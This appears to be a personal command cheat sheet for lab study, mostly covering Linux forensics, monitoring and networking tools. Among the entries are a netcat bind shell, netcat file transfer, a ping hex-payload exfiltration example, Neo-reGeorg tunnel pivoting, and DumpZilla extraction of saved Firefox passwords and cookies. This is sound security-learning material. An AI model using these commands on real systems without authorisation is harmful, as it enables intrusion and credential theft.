Skip to content

General Command Syntax

Instead of spending time on figuring out what arguments to use in a command each time you use it, you can look at your terminal history for what you previously used.

Reddit Programming Humor

However, with many different commands and terminals this can become quite difficult and time consuming.


\\\\====== Presenting the Command Syntax List ======////


Below you can find all available commands. Either select one from the ToC list or use Ctrl+F to look for it. Below the ToC there is a list of separate cheat sheets for some more complex commands.

In the commands you will find variables enclosed by <variable>. This simply means it needs to be replaced by your own value (e.g., <ip> becomes 10.10.101.81).

Subjects


Separate command sheets

Some tools are so vast, they have many commands. Too many to include in this document whilst keeping it nice and organized. That is why I created a separate document specifically for such programs.

🔰 Name
⭐Metasploit Framework
⭐Powershell
****

Aircrack-ng

Aircrack- ng is a complete suite of tools to assess WiFi network security. More info here

Crack wifi passwords from a network capture file (must include EAPOL handshake).

aircrack-ng -w <wordlist> <capture_file>
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.pcap

Apt

apt (Advanced Package Tool) handles package management on Debian-based Linux systems, including installing, updating, and removing software and their dependencies.

List all installed packages.

apt list --installed

List installed packages (first 30).

apt list --installed | head -n 30

Update package lists.

sudo apt update

Search for a package.

apt search <package-name>
Subcommands | Subcommand | Description | |------------|-------------| | `list --installed` | List all installed packages | | `update` | Refresh package index from repositories | | `install ` | Install a package | | `remove ` | Remove a package | | `search ` | Search for packages matching term | | `show ` | Show detailed info about a package |


Arp

arp displays and modifies the system's ARP (Address Resolution Protocol) table, which maps IP addresses to MAC addresses on a local network.

Display the ARP table.

arp -a

Display the ARP table in numeric format.

arp -n

Delete an ARP entry.

sudo arp -d <ip-address>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-a` | - | Display all ARP entries | | `-n` | - | Show numeric addresses instead of resolving hostnames | | `-d` | `` | Delete the ARP entry for the specified IP | | `-s` | ` ` | Add a static ARP entry |


Auditctl

auditctl is used to control the Linux audit system. It configures audit rules that define which system calls, file accesses, and user activities are logged by auditd. Rules added with auditctl are temporary; for persistent rules, edit /etc/audit/audit.rules.

Watch a file for read, write, and attribute changes.

sudo auditctl -w /etc/passwd -p wra -k users

Log all program executions via execve syscall (64-bit).

sudo auditctl -a always,exit -F arch=b64 -S execve -k execve_syscalls

List all active audit rules.

sudo auditctl -l

Delete all active audit rules.

sudo auditctl -D
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-w` | `` | Watch a file or directory | | `-p` | `rwxa` | Permissions to watch: r=read, w=write, x=execute, a=attribute | | `-k` | `` | Tag rule events with a searchable key name | | `-a` | `always,exit` | Append rule: always log on syscall exit | | `-F` | `arch=b64` | Filter: apply to 64-bit architecture | | `-S` | `` | Syscall to monitor (e.g. execve, open) | | `-l` | - | List all current rules | | `-D` | - | Delete all rules |


Aureport

aureport generates summary reports from the Linux audit log. It is typically used by piping output from ausearch to produce structured, human-readable reports of audit events.

Generate a summary report of file events.

sudo ausearch -k users | aureport -f --summary

Generate a named file report.

sudo ausearch -k users | aureport -f user-logs

Generate a report of all authentication events.

sudo aureport --auth

Generate a report of executable events.

sudo aureport --executable
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-f` | - | Generate a file access report | | `--summary` | - | Produce a summary report | | `--auth` | - | Report on authentication events | | `--executable` | - | Report on executable events | | `--login` | - | Report on login events | | `--user` | - | Report on user-related events | | `--failed` | - | Show only failed events |


Ausearch

ausearch queries the Linux audit log (/var/log/audit/audit.log) for events matching specified criteria such as rule keys, usernames, or syscalls.

Search by audit rule key.

sudo ausearch -k <key>
sudo ausearch -k users
sudo ausearch -k execve_syscalls

Search by username.

sudo ausearch -ua <username>

Search within a time range.

sudo ausearch --start today
sudo ausearch --start "01/01/2024 00:00:00" --end "01/02/2024 00:00:00"

Pipe to aureport for a structured report.

sudo ausearch -k users | aureport -f --summary
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-k` | `` | Search by audit rule key tag | | `-ua` | `` | Search by username | | `-ui` | `` | Search by user ID | | `--start` | `today` / `` | Start of time range | | `--end` | `` | End of time range | | `-f` | `` | Search events related to a specific file | | `-sc` | `` | Search by syscall name |


Binwalk

List and extract known files

binwalk -e Challenge2_slack_space.img
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-e` | - | `Automatically extract known file types` | | `` | `` | `` | | `` | `` | `` | | `` | `` | `` | | `` | `` | `` |


More info here.

Capa

Capa is the FLARE team's free and open-source tool to identify capabilities in executable files.

Analyse a bin file.

capa.exe .\cryptbot.bin

Log more detailed information.

capa -vv .\cryptbot.bin

Log more detailed information and direct the result to a .json file.

capa.bin -j -vv .\cryptbot.bin > cryptbot_vv.json

cURL

curl transfers data from or to a server using various protocols (HTTP, HTTPS, FTP, etc.). Useful for testing network connections, downloading files, and interacting with web APIs.

Basic GET request

curl <ip/hostname>

Basic POST request for a login form.

curl -X POST -d "username=user&password=user&submit=Login" http://10.80.184.173/post.php

Download a file.

curl -O <url>
curl -O https://example.com/file.txt

Save output to a specific filename.

curl -o <filename> <url>

Send a GET request and print the response.

curl <url>

Send a POST request with data.

curl -X POST -d "param=value" <url>

Use through a SOCKS5 proxy.

curl --socks5 127.0.0.1:1080 <url>

Follow redirects.

curl -L <url>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-i` | - | To view exactly what the server returns (including headers and potential redirects). | | `-O` | - | Save to a file with the remote filename | | `-o` | `` | Save to a specified local filename | | `-X` | `POST/GET/PUT` | Specify the HTTP method | | `-d` | `` | Send data in a POST request | | `-H` | `
` | Add a custom HTTP header | | `-A` | `` | Specify a custom user-agent. | | `-c` | `` | Writes any cookies received from the server into a file. | | `-b` | `` | Send the saved cookies in the next request. | | `-L` | - | Follow redirects | | `-s` | - | Silent mode (no progress bar) | | `--socks5` | `` | Route traffic through a SOCKS5 proxy | | `-v` | - | Verbose output (useful for debugging) |


Df

df reports the amount of disk space used and available on filesystems.

Display disk usage in human-readable format.

df -h

Display disk usage for a specific path.

df -h /home

Show inode usage instead of block usage.

df -i
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-h` | - | Human-readable sizes (KB, MB, GB) | | `-H` | - | Human-readable using powers of 1000 instead of 1024 | | `-i` | - | Show inode usage instead of block usage | | `-T` | - | Show filesystem type | | `` | - | Limit output to the filesystem containing the specified path |


Dig

dig (Domain Information Groper) queries DNS servers for information about domain names. Useful for diagnosing DNS-related issues and gathering DNS records.

Query DNS records for a domain.

dig <domain>
dig tryhackme.com

Query a specific DNS server.

dig @<dns-server> <domain>
dig @1.1.1.1 tryhackme.com

Query a specific record type.

dig <domain> <type>
dig tryhackme.com MX
dig tryhackme.com TXT

Perform a DNS zone transfer.

dig -t AXFR <domain> @<dns-server>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `@` | - | Use a specific DNS server | | `-t` | `AXFR/A/MX/TXT` | Query type (default: A record) | | `+short` | - | Return only the answer, no extra output | | `+noall +answer` | - | Show only the answer section | | `-x` | `` | Reverse DNS lookup |


Dmesg

dmesg prints and controls the kernel ring buffer — a circular log of messages generated by the kernel. Useful for detecting hardware events, unusual module loads, and signs of kernel-level tampering.

View the kernel ring buffer.

sudo dmesg

View with human-readable timestamps.

sudo dmesg -T

Filter output by keyword.

sudo dmesg -T | grep '<keyword>'
sudo dmesg -T | grep 'custom_kernel'

Follow new messages in real time.

sudo dmesg -w

View the persistent kernel log file.

cat /var/log/kern.log
tail -f /var/log/kern.log
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-T` | - | Print timestamps in human-readable format | | `-w` | - | Follow/watch for new messages in real time | | `-l` | `err,warn` | Filter by log level (emerg, alert, crit, err, warn, notice, info, debug) | | `-f` | `kern` | Filter by facility (kern, user, daemon, etc.) | | `-H` | - | Human-readable output with color and relative timestamps | | `--clear` | - | Clear the ring buffer |


Dpkg

dpkg is the low-level package management tool for Debian-based systems. It installs, removes, and provides information about .deb packages directly, without handling dependencies.

List all installed packages.

dpkg -l

List installed packages filtered by name.

dpkg -l | grep <package-name>

Show detailed info about an installed package.

dpkg -s <package-name>

List files installed by a package.

dpkg -L <package-name>

Find which package owns a file.

dpkg -S <file-path>
dpkg -S /usr/bin/python3
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-l` | - | List all installed packages | | `-s` | `` | Show package status and details | | `-L` | `` | List files installed by the package | | `-S` | `` | Find which package a file belongs to | | `-i` | `<.deb>` | Install a .deb package file | | `-r` | `` | Remove a package |


Dumpzilla.py

DumpZilla is a forensic tool for extracting data from Firefox browser profiles. It can retrieve cookies, passwords, bookmarks, history, downloads, and other browser artifacts.

Extract all available data from a Firefox profile.

sudo python3 dumpzilla.py /home/<user>/.mozilla/firefox/<profile>/ --All

Extract bookmarks only.

sudo python3 dumpzilla.py /home/<user>/.mozilla/firefox/<profile>/ --Bookmarks

Extract cookies and saved passwords.

sudo python3 dumpzilla.py /home/<user>/.mozilla/firefox/<profile>/ --Cookies --Passwords

The Firefox profile path is typically ~/.mozilla/firefox/<profile>/. Profile name can be found in ~/.mozilla/firefox/profiles.ini.

Arguments | Argument | Value | Description | |----------|-------|-------------| | `--All` | - | Extract all available data | | `--Bookmarks` | - | Extract saved bookmarks | | `--Cookies` | - | Extract browser cookies | | `--Passwords` | - | Extract saved passwords | | `--History` | - | Extract browsing history | | `--Downloads` | - | Extract download history | | `--Addons` | - | List installed extensions/add-ons |


More info here.

Enum4Linux

enum4Linux is a Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.

More info here.

Free

free displays the total amount of physical and swap memory in the system, including what is used, free, and available.

Display memory usage in human-readable format.

free -h

Display memory in megabytes.

free -m

Continuously update every N seconds.

free -h -s <seconds>
free -h -s 2
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-h` | - | Human-readable sizes (KB, MB, GB) | | `-m` | - | Display in megabytes | | `-g` | - | Display in gigabytes | | `-s` | `` | Continuously display, updating every N seconds | | `-t` | - | Show a totals line |


Gobuster

Gobuster is a software tool for brute forcing directories on web servers. It comes preinstalled with Kali Linux, a Linux distribution designed for digital forensics and penetration testing.

Enumerate common files in directories

gobuster dir -u http://TARGET_IP:80 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x bak,txt,html -t 20
Arguments
Argument Value Description
dir Mode — use directory/file enumeration
-u http://TARGET_IP:80 Target URL including port
-w common.txt Wordlist to use for brute-forcing paths
-x bak,txt,html File extensions to append to each wordlist entry
-t 20 Number of concurrent threads


More info here.

Hostname

hostname displays or sets the hostname of the system. It is useful for identifying the local system's network identity.

Display the current hostname.

hostname

Display the system's IP address.

hostname -I

Display the fully qualified domain name (FQDN).

hostname -f
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-I` | - | Display all IP addresses of the host | | `-f` | - | Display the fully qualified domain name | | `-s` | - | Display the short hostname (up to the first dot) | | `-d` | - | Display the DNS domain name |


Hostnamectl

hostnamectl queries and changes the system hostname and related settings. It provides more detail than hostname, including machine ID, OS, kernel version, and virtualisation type.

Display all hostname and system information.

hostnamectl

Set the system hostname.

sudo hostnamectl set-hostname <new-hostname>
Subcommands | Subcommand | Description | |------------|-------------| | *(no subcommand)* | Display hostname, machine ID, OS, kernel, architecture | | `set-hostname ` | Set the static hostname | | `set-icon-name ` | Set the icon name (chassis type) |


Ifconfig

ifconfig configures and displays information about network interfaces. Largely replaced by ip in modern Linux systems, but still widely available.

Display all network interfaces.

ifconfig

Display a specific interface.

ifconfig <interface>
ifconfig eth0

Bring an interface up or down.

sudo ifconfig <interface> up
sudo ifconfig <interface> down
Arguments | Argument | Value | Description | |----------|-------|-------------| | `` | `eth0` | Show info for a specific interface | | `up` / `down` | - | Enable or disable an interface | | `-a` | - | Show all interfaces including inactive ones |


Note: ip a is the modern equivalent and preferred in current Linux distributions.

Iftop

iftop provides a real-time display of bandwidth usage on a network interface, showing which connections are using the most bandwidth.

Monitor bandwidth on the default interface.

sudo iftop

Monitor a specific interface.

sudo iftop -i <interface>
sudo iftop -i eth0

Show port numbers.

sudo iftop -P

Run in non-interactive mode and output to a file.

sudo iftop -t -s <seconds> > output.txt
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-i` | `` | Monitor a specific network interface | | `-P` | - | Show port numbers in output | | `-n` | - | Do not resolve hostnames (show IPs only) | | `-N` | - | Do not resolve port names | | `-t` | - | Use text mode (non-interactive) | | `-s` | `` | Run for N seconds then exit (use with -t) |


Ip

ip is the modern, versatile replacement for ifconfig and route. It configures network interfaces, routing, tunnels, and more.

Display all network interfaces and IP addresses.

ip a
ip address show

Display a specific interface.

ip a show <interface>
ip a show eth0

Display the routing table.

ip r
ip route show

Display ARP/neighbour table.

ip neigh

Bring an interface up or down.

sudo ip link set <interface> up
sudo ip link set <interface> down
Subcommands | Subcommand | Description | |------------|-------------| | `ip a` / `ip address` | Show/configure IP addresses | | `ip r` / `ip route` | Show/configure routing table | | `ip link` | Show/configure network interfaces | | `ip neigh` | Show/modify ARP/neighbour table | | `ip tunnel` | Configure IP tunnels |


Iptables

iptables displays, sets up, and maintains IP packet filter rules. It is used to manage firewall rules and monitor network traffic on Linux systems.

List all active rules.

sudo iptables -L
sudo iptables -L -v -n

Allow incoming traffic on a port.

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

Allow outgoing traffic on a port.

sudo iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT

Block traffic from an IP.

sudo iptables -A INPUT -s <ip> -j DROP

Save and restore rules.

sudo iptables-save > /etc/iptables/rules.v4
sudo iptables-restore < /etc/iptables/rules.v4
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-L` | - | List all rules in the selected chain | | `-v` | - | Verbose output | | `-n` | - | Numeric output (no DNS resolution) | | `-A` | `INPUT/OUTPUT/FORWARD` | Append a rule to a chain | | `-D` | ` ` | Delete a rule | | `-F` | - | Flush (delete) all rules | | `-p` | `tcp/udp/icmp` | Protocol to match | | `--dport` | `` | Destination port | | `-s` | `` | Source IP address | | `-j` | `ACCEPT/DROP/REJECT` | Target action |


Journalctl

journalctl is the command-line utility for querying and displaying messages from the systemd journal. Used in forensics to investigate service logs and detect malicious activity.

Follow (tail) logs for a specific service in real time.

sudo journalctl -f -u <service-name>

View all journal logs for a specific service.

journalctl -u <service-name>

View logs since a relative or absolute timestamp.

journalctl --since "1 hour ago"
journalctl --since "2024-01-01 00:00:00"

View logs between two timestamps.

journalctl --since "08:00" --until "12:00"

Show logs from the current boot only.

journalctl -b
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-f` | - | Follow — stream new log entries in real time | | `-u` | `` | Filter by systemd unit/service name | | `--since` | `"1 hour ago"` | Show entries after this timestamp | | `--until` | `"2024-01-01"` | Show entries before this timestamp | | `-n` | `` | Show the last N lines | | `-p` | `err` | Filter by priority (emerg, alert, crit, err, warning, notice, info, debug) | | `-b` | - | Show logs from the current boot |


Lsblk

lsblk lists information about block devices (disks and partitions), including their sizes, mount points, and type.

List all block devices.

lsblk

Show filesystem type and UUID.

lsblk -f

Show all columns including permissions.

lsblk -o NAME,SIZE,TYPE,MOUNTPOINT,FSTYPE,UUID
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-f` | - | Show filesystem type, UUID, and label | | `-o` | `` | Specify output columns | | `-d` | - | Do not show slave/holder devices | | `-n` | - | Do not print header | | `-J` | - | Output in JSON format |


Lscpu

lscpu displays detailed information about the CPU architecture, including the number of cores, threads, speed, and vendor.

Display CPU architecture information.

lscpu

Output in JSON format.

lscpu -J
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-J` | - | Output in JSON format | | `-p` | - | Output in parseable (CSV-like) format | | `-e` | - | Extended readable format | | `--all` | - | Include all CPUs including offline ones |


Lsof

lsof (LiSt Open Files) lists information about files opened by processes. Since everything in Linux is treated as a file, this includes regular files, directories, network sockets, and devices — making it extremely powerful for spotting suspicious behavior.

List all open files and the processes that opened them.

lsof

List all open files for a specific process by PID.

sudo lsof -p <PID>

List open network connections.

lsof -i

List open connections on a specific port.

lsof -i :<port>
lsof -i :4444

List all open files for a specific user.

lsof -u <username>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-p` | `` | Filter by process ID | | `-i` | `:` | Show network connections, optionally filtered by port | | `-u` | `` | Filter by user | | `-c` | `` | Filter by process name | | `+D` | `` | Show all open files under a directory | | `-t` | - | Return only PIDs (useful for piping) |


MFTECmd

Command-line tool for parsing the NTFS Master File Table ($MFT), $J, and other NTFS metadata files.

Extract the records from the Files and save it in the same folder

MFTECmd.exe -f ..\Evidence\$MFT --csv ..\Evidence --csvf ..\Evidence\MFT_record.csv
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-f` | `..\Evidence\$MFT` | `MFT file location` | | `--csv` | `..\Evidence` | `Output directory` | | `--csvf` | `..\Evidence\MFT_record.csv` | `Output file name` |


More info here.

Neo-ReGeorg

Neo-reGeorg is an HTTP tunneling and pivot tool that can create a tunnel over the HTTP(S) protocol. It encapsulates other protocols and sends them back and forth via the HTTP protocol. Create an HTTP tunnel communication channel to pivot into the internal network and communicate with local network devices through HTTP protocol. It is used for proxying HTTP traffic when encountering servers that do not allow internet access during traffic proxying.

Generate a Neo-ReGeorg key

python3 neoreg.py generate -k <password>

Connect to the tunnel (must be uploaded to the machine).

python3 neoreg.py -k thm -u http://10.10.230.138/uploader/files/tunnel.php

Connect to a machine behind the webserver through the tunnel curl, proxychains, FoxyProxy, Firefox, etc.

curl --socks5 127.0.0.1:1080 <address of machine / file>
curl --socks5 127.0.0.1:1080 http://172.20.0.120:80/flag

More info here.

Netcat

netcat (nc) reads and writes data across network connections using TCP or UDP. It is a versatile tool for debugging, testing network connections, and creating bind or reverse shells.

Set up a listener on a port.

nc -nlvp <port>
nc -nlvp 4444

Connect to a remote host and port.

nc <ip> <port>

Transfer a file (receiver side).

nc -nlvp <port> > received_file.txt

Transfer a file (sender side).

nc <ip> <port> < file_to_send.txt

Create a bind shell (on target).

nc -nlvp <port> -e /bin/bash
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-l` | - | Listen mode | | `-n` | - | Do not resolve hostnames (numeric only) | | `-v` | - | Verbose output | | `-p` | `` | Specify local port | | `-e` | `` | Execute command after connection (may not be available in all builds) | | `-u` | - | Use UDP instead of TCP | | `-w` | `` | Timeout for idle connections |


Netstat

netstat displays network connections, routing tables, interface statistics, and more. Largely replaced by ss in modern systems but still widely encountered.

Show all active connections.

netstat -a

Show listening ports and services.

netstat -tlun

Show connections with PIDs.

sudo netstat -tlunp

Show the routing table.

netstat -r
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-a` | - | Show all sockets (listening and non-listening) | | `-t` | - | Show TCP connections | | `-u` | - | Show UDP connections | | `-l` | - | Show only listening sockets | | `-n` | - | Show numeric addresses (no DNS resolution) | | `-p` | - | Show PID and program name | | `-r` | - | Show routing table |


Note: ss is the modern equivalent and preferred on current Linux distributions.

Nmap

nmap scans networks to discover hosts and services. Useful for identifying devices on a network, open ports, running services, and OS versions.

Basic scan of a host.

nmap <ip>

Fast scan of the most common ports.

nmap -F <ip>

Scan a specific port range.

nmap -p <port-range> <ip>
nmap -p 1-1000 <ip>

Service and version detection.

nmap -sV <ip>

OS detection.

sudo nmap -O <ip>

Full scan with service/OS detection and scripts.

sudo nmap -A <ip>

Scan without sending ICMP ping (useful when ICMP is blocked).

nmap -Pn <ip>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-sS` | - | SYN (stealth) scan | | `-sV` | - | Service/version detection | | `-O` | - | OS detection (requires root) | | `-A` | - | Aggressive scan (OS, version, scripts, traceroute) | | `-p` | `` | Port range to scan | | `-F` | - | Fast mode — scan fewer ports | | `-Pn` | - | Skip host discovery (treat all hosts as up) | | `--ttl` | `` | Set IP TTL value | | `--badsum` | - | Send packets with bad checksum (firewall testing) |


Nslookup

nslookup queries DNS servers to obtain domain name or IP address mappings. Useful for diagnosing DNS issues.

Look up a domain name.

nslookup <domain>
nslookup tryhackme.com

Reverse lookup — find the hostname for an IP.

nslookup <ip>

Query a specific DNS server.

nslookup <domain> <dns-server>
nslookup tryhackme.com 8.8.8.8

Query a specific record type.

nslookup -type=MX <domain>
nslookup -type=TXT <domain>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-type` | `A/MX/TXT/NS/PTR` | Query a specific DNS record type | | `` | `8.8.8.8` | Use a specific DNS server |


oledump.py

Oledump.py is a Python tool that analyzes OLE2 files, commonly called Structured Storage or Compound File Binary Format. OLE stands for Object Linking and Embedding, a proprietary technology developed by Microsoft.

Analyse a file and investigate the 4th datastream. Then decompress any VBA code.

oledump.py agenttesla.xlsm -s 4 --vbadecompress

Firefox

Configure a manual proxy in the network setting and use the ip and port as listed in the Neo-reGeorge CLI output for the SOCKS host.

Osquery

osquery exposes the operating system as a relational database, allowing you to query system information using SQL. Useful for forensics, introspection, and endpoint monitoring.

Launch the interactive osquery shell.

osqueryi

Query running processes.

SELECT pid, name, path, cmdline, state FROM processes;

Query listening ports.

SELECT pid, port, protocol FROM listening_ports;

Query installed packages.

SELECT name, version FROM deb_packages;

Query user accounts.

SELECT username, uid, gid, shell FROM users;

Processes Running From the tmp Directory

SELECT pid, name, path FROM processes WHERE path LIKE '/tmp/%' OR path LIKE '/var/tmp/%';

Hunting for Fileless Malware / Process

SELECT pid, name, path, cmdline, start_time FROM processes WHERE on_disk = 0;

Orphan Processes

SELECT pid, name, parent, path FROM processes WHERE parent NOT IN (SELECT pid from processes);

Finding Processes Launched from User Directories

SELECT pid, name, path, cmdline, start_time FROM processes WHERE path LIKE '/home/%' OR path LIKE '/Users/%';

Network Connections

SELECT pid, family, remote_address, remote_port, local_address, local_port, state FROM process_open_sockets LIMIT 20;

Examining DNS Queries

SELECT * FROM dns_resolvers;

Listing Down Network Interfaces

Listing Down Network Interfaces

Listing Down Network Interfaces

Listing Down Network Interfaces

Open Files

SELECT pid, fd, path FROM process_open_files;

Files Being Accessed From the tmp Directory

SELECT pid, fd, path FROM process_open_files where path LIKE '/tmp/%';

Hidden Files

SELECT filename, path, directory, size, type FROM file WHERE path LIKE '/.%';

Recently Modified Files

SELECT filename, path, directory, type, size FROM file WHERE path LIKE '/etc/%' AND (mtime > (strftime('%s', 'now') - 86400));

Recently Modified Binaries

SELECT filename, path, directory, mtime FROM file WHERE path LIKE '/opt/%' OR path LIKE '/bin/' AND (mtime > (strftime('%s', 'now') - 86400));

Run osquery in daemon mode (for scheduled queries).

sudo osqueryd

More info here.

Ping

ping tests connectivity to other network devices by sending ICMP echo request packets. Useful for checking whether a host is reachable and measuring latency.

Ping a host.

ping <ip-or-hostname>
ping 8.8.8.8

Limit to N packets.

ping -c <count> <ip>
ping -c 4 8.8.8.8

Send a ping with a custom payload (hex).

ping <ip> -c 1 -p <hex-payload>
ping 10.10.10.10 -c 1 -p 74686d3a7472796861636b6d650a
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-c` | `` | Stop after sending N packets | | `-i` | `` | Interval between packets | | `-s` | `` | Packet size in bytes | | `-t` | `` | Set IP time-to-live | | `-p` | `` | Fill packet with a hex pattern (data exfiltration simulation) | | `-f` | - | Flood ping (requires root) |


Ps

ps reports a snapshot of currently running processes.

List all running processes with detailed info (user, CPU, memory, command).

ps aux

Full-format listing of all processes.

ps -ef

Show processes for a specific user.

ps -u <username>

Show processes sorted by CPU usage.

ps aux --sort=-%cpu
Arguments | Argument | Value | Description | |----------|-------|-------------| | `a` | - | Show processes for all users | | `u` | - | User-oriented format (shows user, CPU %, memory %) | | `x` | - | Include processes not attached to a terminal | | `-e` | - | Show all processes (equivalent to `a`) | | `-f` | - | Full-format listing | | `-u` | `` | Filter by user | | `--sort` | `-%cpu` | Sort output (prefix `-` for descending) |


Pspy64

pspy is an unprivileged Linux process snooping tool. It monitors process executions and filesystem events without requiring root privileges — making it ideal for detecting cron jobs, scripts run by other users, and other scheduled executions that would otherwise be invisible.

Run pspy64 to monitor process executions.

./pspy64

Run with a custom scan interval (milliseconds).

./pspy64 -i 500

Also watch filesystem events in addition to processes.

./pspy64 -f
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-i` | `` | Interval in milliseconds between scans (default: 100) | | `-f` | - | Also watch filesystem events | | `-r` | `` | Directories to watch recursively | | `-d` | `` | Directories to watch non-recursively | | `-p` | - | Print all commands, not just new/changed ones |


More info here.

Pstree

pstree displays running processes as a tree, showing parent-child relationships. Useful for identifying abnormal process spawning patterns.

Display all processes as a tree.

pstree

Show tree with PIDs, user transitions, and full command arguments.

pstree -aups

Show tree for a specific user.

pstree <username>

Show the parent chain for a specific PID.

pstree -s <PID>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-a` | - | Show command-line arguments | | `-u` | - | Show user transitions in parentheses | | `-p` | - | Show PIDs | | `-s` | `` | Show parent processes of a specified process | | `-n` | - | Sort by PID rather than by name | | `-h` | - | Highlight the current process and its ancestors |


Route

route displays or modifies the IP routing table. It shows how packets are directed through the network.

Display the routing table.

route

Display in numeric format (no DNS resolution).

route -n

Add a route.

sudo route add -net <network> gw <gateway>

Delete a route.

sudo route del -net <network>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-n` | - | Show numeric addresses (no hostname resolution) | | `add` | - | Add a new route | | `del` | - | Delete a route | | `-net` | `` | Specify a network address | | `gw` | `` | Specify a gateway |


Note: ip r is the modern equivalent and preferred on current Linux distributions.

RsaCTFtool

RSA attack tool (mainly for ctf) - retrieve private key from weak public key and/or uncipher data

This tool is an utility designed to decrypt data from weak public keys and attempt to recover the corresponding private key. Also this tool offers a comprehensive range of attack options, enabling users to apply various strategies to crack the encryption.

More info and commands can be found here.

Rsatool

Rsatool can be used to calculate RSA and RSA-CRT parameters.

Can be installed from here: 🔗 https://github.com/ius/rsatool

Create the PEM and output it to key.pem by supplying modulus and private exponent.

python rsatool.py -f PEM -o key.pem -n 13826123222358393307 -d 9793706120266356337

Create the DER and output it to key.der by supplying two primes.

python rsatool.py -f DER -o key.der -p 4184799299 -q 3303891593

Smbclient

Smbclient is a client that can 'talk' to an SMB/CIFS server and is part of the Samba suite.

'Exploit' misconfiguration of the anonymous login ability.

smbclient <ip> -U:Anonymous -p:<port>

Ss

ss (socket statistics) is the modern replacement for netstat. It dumps socket statistics and shows active connections and listening ports, with faster and more detailed output.

Show all listening TCP and UDP sockets with process info.

ss -tlun

Show all active connections.

ss -a

Show TCP connections with process names.

sudo ss -tlunp

Show connections to a specific port.

ss -tn dst :<port>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-t` | - | Show TCP sockets | | `-u` | - | Show UDP sockets | | `-l` | - | Show only listening sockets | | `-n` | - | Show numeric addresses (no DNS resolution) | | `-p` | - | Show process name and PID | | `-a` | - | Show all sockets | | `-s` | - | Show socket statistics summary |


Systemctl

systemctl is the primary tool for managing and inspecting systemd services and units. Used in forensics to enumerate services, identify backdoors, and inspect service configurations.

List all services including inactive and failed ones.

sudo systemctl list-units --all --type=service

List only currently running services.

systemctl list-units --type=service --state=running

View the status and recent logs of a service.

systemctl status <service-name>

Print the full unit file for a service.

systemctl cat <service-name>

Start, stop, or restart a service.

sudo systemctl start <service-name>
sudo systemctl stop <service-name>
sudo systemctl restart <service-name>

Enable or disable a service at boot.

sudo systemctl enable <service-name>
sudo systemctl disable <service-name>
Arguments / subcommands | Subcommand / Argument | Value | Description | |----------|-------|-------------| | `list-units` | `--all --type=service` | List all services including inactive/failed | | `status` | `` | Show status and recent logs for a service | | `cat` | `` | Print the full unit file for a service | | `start` / `stop` | `` | Start or stop a service | | `enable` / `disable` | `` | Enable or disable a service at boot | | `--all` | - | Include inactive and failed units in output | | `--type` | `service` | Filter units by type |


More info here.

Tcpdump

tcpdump captures and analyzes network packets in real time. Packets can be saved to a file for later analysis or filtered to focus on specific traffic types.

Capture packets on an interface.

sudo tcpdump -i <interface>
sudo tcpdump -i eth0

Capture and save to a file.

sudo tcpdump -i eth0 -w capture.pcap

Read a capture file.

tcpdump -r capture.pcap

Filter by host.

sudo tcpdump -i eth0 host <ip>

Filter by port.

sudo tcpdump -i eth0 port 80

Capture N packets then stop.

sudo tcpdump -i eth0 -c <count>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-i` | `` | Network interface to capture on | | `-w` | `` | Write packets to a file | | `-r` | `` | Read packets from a file | | `-c` | `` | Capture N packets then stop | | `-n` | - | No DNS resolution | | `-v` | - | Verbose output | | `host` | `` | Filter by host IP | | `port` | `` | Filter by port number | | `tcp/udp/icmp` | - | Filter by protocol |


Top

top provides a dynamic real-time view of running processes, showing system resource usage including CPU, memory, and process information.

Launch top interactively.

top

Filter to a specific user.

top -u <username>

Run in batch mode (non-interactive, useful for scripting or logging).

top -b -n 1

Update every N seconds.

top -d <seconds>
top -d 5
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-b` | - | Batch mode — non-interactive, suitable for output piping | | `-n` | `` | Exit after this many refresh iterations | | `-u` | `` | Filter processes by user | | `-d` | `` | Delay interval between updates | | `-p` | `` | Monitor only the specified PID(s) |


Interactive keys while running: k to kill a process, q to quit, M to sort by memory, P to sort by CPU, u to filter by user.

Traceroute

traceroute traces the path packets take to reach a destination, identifying each hop along the way. Useful for diagnosing where network delays or connectivity issues occur.

Trace the route to a host.

traceroute <ip-or-hostname>
traceroute tryhackme.com

Use ICMP instead of UDP.

sudo traceroute -I <host>

Limit the maximum number of hops.

traceroute -m <max-hops> <host>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-m` | `` | Maximum number of hops (default: 30) | | `-n` | - | Do not resolve hostnames | | `-I` | - | Use ICMP echo requests (requires root) | | `-T` | - | Use TCP SYN packets | | `-w` | `` | Timeout per probe |


Note: On Windows, the equivalent command is tracert.

Uptime

uptime provides a quick snapshot of the system's current status — how long it has been running, the number of logged-in users, and CPU load averages.

Display system uptime and load.

uptime

Display in a more readable format.

uptime -p

Show the time the system was last booted.

uptime -s
